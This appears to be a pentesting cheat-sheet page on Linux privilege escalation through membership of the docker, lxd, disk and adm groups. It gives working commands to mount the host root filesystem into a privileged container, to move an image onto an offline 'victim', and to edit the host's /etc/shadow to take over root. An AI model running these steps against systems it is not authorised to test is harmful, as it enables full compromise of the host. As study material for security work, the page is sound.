Group Based
Docker
If we are member of docker group we can escalate our privilege to root.
The idea is, we are going to take / directory of host machine and mount it to our container. Once the directory is mounted, we will have root inside of our container and we can manipulate any files on this host file system through the container.
docker run -v /:/mnt -it alpinemount
/from hot machine to/mntwith-itinteractive terminal. usingalpineimage
When victim doesnot have internet, it cannot pull the alpine image, so
docker pull alpine→ pull alpine in attacker machinedocker save -o alpine.tar alpine→ save alpine image to tar file and transfer to victimdocker load -i /path/to/destination/alpine.tar→ load image from tar file
then we are done
docker image ls→ shows the images.
Watch this excellent video by Condahttps://youtu.be/pRBj2dm4CDU?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV
LXC / LXD
Idea is the same as docker.
First we will download
Alpine Imagein our machine and transfer it to victimA minimal Docker image based on Alpine Linux with a complete package index and only 5 MB in size!
lxd initto initialize linux container daemon
unzip the Alpine.zip
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine→ import local image.lxc image list→ to list out the imageslxc init alpine dollarboysushil -c security.privileged=true→ Start a privileged container with thesecurity.privilegedset totrueto run the container without a UID mapping, making the root user in the container the same as the root user on the host. herealpineis the name of the image anddollarboysushilis the name of the container we are going to spawnlxc config device add dollarboysushil mydev disk source=/ path=/mnt/root recursive=true→ Mount the host file system.we are mounting entire file system
/of the host to path/mnt/rootrecursive=trueto get all the files and folders.lxc start dollarboysushil→ starting the container. we can uselxc listto view the statuslxc exec dollarboysushil /bin/sh→ execute a command inside of our container
Now we are root on the container and container contains the whole file system of host. we can edit the /mnt/etc/shadowto remove / change password of root, so that we can login as root in host.
Watch this excellent video by Conda https://youtu.be/7x4gwV632o0?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV
DISK
User of disk group has full access within /dev such as /dev/sda
ADM
Members of the adm group are able to read all logs stored in /var/log.
Last updated
Was this helpful?